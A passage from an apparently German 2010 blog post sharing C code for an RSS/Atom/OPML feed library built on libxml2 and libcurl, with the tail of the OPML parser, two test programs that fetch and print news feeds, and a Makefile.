108 ou-> opml_function = opml_function;
109 ou-> userdata = userdata;
110
111 xsh. initialized = XML_SAX2_MAGIC;
112 xsh. characters = _opml_charactersSAX;
113 xsh. startElementNs = _opml_startElementSAX;
114 xsh. endElementNs = _opml_endElementSAX;
115
116 oh-> ou = ou;
117 oh-> ctxt = xmlCreatePushParserCtxt (& xsh, ou, NULL, 0 , NULL);
118
119
120 return oh;
121 }
122
123 extern void opml_destroy ( struct opml_handler * oh)
124 {
125 xmlParseChunk ( oh-> ctxt, "" , 0 , 1 );
126 xmlFreeParserCtxt ( oh-> ctxt);
127 free ( oh-> ou);
128 free ( oh);
129 }
130
131
132 extern void opml_feed ( struct opml_handler * oh, char * txt, int len)
133 {
134 xmlParseChunk ( oh-> ctxt, txt, len, 0 );
135 } Und hier ein Beispiel wie ihr die feed-lib benutzt - feedtest.c:
Zeilennummern
1 #include <stdio.h>
2 #include "feed.h"
3
4 void show_feed1 ( struct feed_entry * fe, void * userdata)
5 {
6 printf ( "feed1 \n " );
7 printf ( ">> title: %s \n " , fe-> title);
8 printf ( ">> link: %s \n " , fe-> link);
9 printf ( ">> published: %s \n " , fe-> published);
10 printf ( ">> updated: %s \n " , fe-> updated);
11 printf ( ">> author: %s \n " , fe-> author);
12 printf ( ">> author_name: %s \n " , fe-> author_name);
13 printf ( ">> author_email: %s \n " , fe-> author_email);
14 printf ( ">> id: %s \n " , fe-> id);
15 printf ( ">> summary: %s \n " , fe-> summary);
16 printf ( ">> userdata: %s \n " , ( char *) userdata);
17
18 printf ( " \n " );
19 feed_free_entry ( fe);
20 }
21
22 void show_feed2 ( struct feed_entry * fe, void * userdata)
23 {
24 printf ( "feed2 \n " );
25 printf ( ">> title: %s \n " , fe-> title);
26 printf ( ">> link: %s \n " , fe-> link);
27 printf ( ">> published: %s \n " , fe-> published);
28 printf ( ">> updated: %s \n " , fe-> updated);
29 printf ( ">> author: %s \n " , fe-> author);
30 printf ( ">> author_name: %s \n " , fe-> author_name);
31 printf ( ">> author_email: %s \n " , fe-> author_email);
32 printf ( ">> id: %s \n " , fe-> id);
33 printf ( ">> summary: %s \n " , fe-> summary);
34 printf ( ">> userdata: %s \n " , ( char *) userdata);
35
36 printf ( " \n " );
37 feed_free_entry ( fe);
38 }
39
40 void show_feed3 ( struct feed_entry * fe, void * userdata)
41 {
42 printf ( "feed3 \n " );
43 printf ( ">> title: %s \n " , fe-> title);
44 printf ( ">> link: %s \n " , fe-> link);
45 printf ( ">> published: %s \n " , fe-> published);
46 printf ( ">> updated: %s \n " , fe-> updated);
47 printf ( ">> author: %s \n " , fe-> author);
48 printf ( ">> author_name: %s \n " , fe-> author_name);
49 printf ( ">> author_email: %s \n " , fe-> author_email);
50 printf ( ">> id: %s \n " , fe-> id);
51 printf ( ">> summary: %s \n " , fe-> summary);
52 printf ( ">> userdata: %s \n " , ( char *) userdata);
53
54 printf ( " \n " );
55 feed_free_entry ( fe);
56 }
57
58 int test_single_parse ()
59 {
60 feed_single_parse ( "http://www.heise.de/newsticker/heise-feed.xml" ,
61 show_feed1, NULL);
62 printf ( "------------------ \n " );
63 feed_single_parse ( "http://rss.golem.de/rss.php?feed=ATOM1.0" , show_feed2,
64 NULL);
65 printf ( "------RSS--------- \n " );
66 feed_single_parse ( "http://news.google.
67 de/news?pz=1&cf=all&ned=de&hl=de&topic=h&num=3&output=rs
68 s" , show_feed3, NULL);
69 printf ( "------RSS--------- \n " );
70 feed_single_parse ( "http://rss.golem.de/rss.php?feed=RSS1.0" , show_feed1,
71 "userdata" );
72
73 return 0 ;
74 }
75
76
77 int main ()
78 {
79
80 struct feed_handler * fh;
81 fh = feed_add ( NULL, "http://rss.golem.de/rss.php?feed=RSS1.0" , show_feed1,
82 "userdata" );
83 feed_add ( fh, "http://www.heise.de/newsticker/heise-atom.xml" , show_feed2,
84 NULL);
85 feed_add ( fh, "http://news.google.
86 de/news?pz=1&cf=all&ned=de&hl=de&topic=h&num=3&output=rss" ,
87 show_feed3, NULL);
88 feed_add ( fh, "http://dammit.lt/feed/atom/" , show_feed1, NULL);
89
90 feed_multi_parse ( fh);
91
92 feed_cleanup ( fh);
93
94
95 test_single_parse ();
96 return 0 ;
97 } Und hier noch ein Beispiel fuer opml - opmltest.c:
Zeilennummern
1 #include <stdio.h>
2 #include <string.h>
3 #include "opml.h"
4 #include "feed.h"
5
6 struct oo_list
7 {
8 struct opml_outline * oo;
9 struct oo_list * next;
10 };
11
12 struct opml_userdata
13 {
14 struct feed_handler * fh;
15 struct oo_list * oo_list;
16 };
17
18
19 void show_feed ( struct feed_entry * fe, void * userdata)
20 {
21 printf ( "feed1 \n " );
22 printf ( ">> title: %s \n " , fe-> title);
23 printf ( ">> link: %s \n " , fe-> link);
24 printf ( ">> published: %s \n " , fe-> published);
25 printf ( ">> updated: %s \n " , fe-> updated);
26 printf ( ">> author: %s \n " , fe-> author);
27 printf ( ">> author_name: %s \n " , fe-> author_name);
28 printf ( ">> author_email: %s \n " , fe-> author_email);
29 printf ( ">> id: %s \n " , fe-> id);
30 printf ( ">> summary: %s \n " , fe-> summary);
31 printf ( ">> userdata: %s \n " , ( char *) userdata);
32
33 printf ( " \n " );
34 feed_free_entry ( fe);
35 }
36
37
38 void opml_printout ( struct opml_outline * oo, void * userdata)
39 {
40 struct oo_list * oo_list = (( struct opml_userdata*) userdata)-> oo_list;
41 struct feed_handler * fh = (( struct opml_userdata*) userdata)-> fh;
42 printf ( "--------------- \n " );
43 printf ( "title: %s \n " , oo-> title);
44 printf ( "text: %s \n " , oo-> text);
45 printf ( "feedurl: %s \n " , oo-> feedurl);
46 printf ( "siteurl: %s \n " , oo-> siteurl);
47
48
49 while ( oo_list-> next != NULL)
50 oo_list = oo_list-> next;
51 oo_list-> next = malloc ( sizeof ( struct oo_list));
52 oo_list = oo_list-> next;
53 oo_list-> next = NULL;
54 oo_list-> oo = oo;
55
56
57 feed_add ( fh, oo-> feedurl, show_feed, NULL);
58
59 }
60
61 int main ()
62 {
63 FILE * fp;
64 char buf[ 64 ];
65 struct opml_handler * oh;
66 struct opml_userdata ou;
67 struct oo_list * oo_list = malloc ( sizeof ( struct oo_list));
68 struct oo_list * oo_list_tmp;
69 oo_list-> next = NULL;
70 oo_list-> oo = NULL;
71
72 struct feed_handler * fh;
73 fh = feed_add ( NULL, NULL, show_feed, NULL);
74 ou. fh = fh;
75 ou. oo_list = oo_list;
76 oh = opml_create ( opml_printout, & ou);
77
78
79 fp = fopen ( "feeds.opml" , "r" );
80
81 while (! feof ( fp))
82 {
83 fgets ( buf, 64 , fp);
84 opml_feed ( oh, buf, strlen ( buf));
85 }
86
87 fclose ( fp);
88
89 feed_multi_parse ( fh);
90
91 while ( oo_list-> next != NULL)
92 {
93 oo_list_tmp = oo_list-> next;
94 opml_outline_destroy ( oo_list-> oo);
95 free ( oo_list);
96 oo_list = oo_list_tmp;
97 }
98 opml_outline_destroy ( oo_list-> oo);
99 free ( oo_list);
100
101
102 opml_destroy ( oh);
103 feed_cleanup ( fh);
104 } Und hier noch das Makefile:
CC=/usr/bin/gcc
CFLAGS=-O2 -g -Wall
all: feedtest opmltest
feed.o: feed.c
$(CC) $(CFLAGS) -o feed.o -Wall -std=c99 -fPIC feed.c -I /usr/include/libxml2/ -c
opml.o: opml.c
$(CC) $(CFLAGS) -o opml.o -Wall -std=c99 -fPIC opml.c -I /usr/include/libxml2/ -c
feedtest: feed.o feedtest.c
$(CC) $(CFLAGS) -std=c99 -lxml2 -lcurl -o feedtest feedtest.c feed.o
opmltest: opml.o feed.o opmltest.c
$(CC) $(CFLAGS) -std=c99 -lxml2 -lcurl -o opmltest opmltest.c opml.o feed.o -I /usr/include/libxml2/
clean:
rm -f feedtest feed.o opmltest opml.o
05. August 2010 20:38 Tags: ansi_c · atom · curl · multi · opml · rss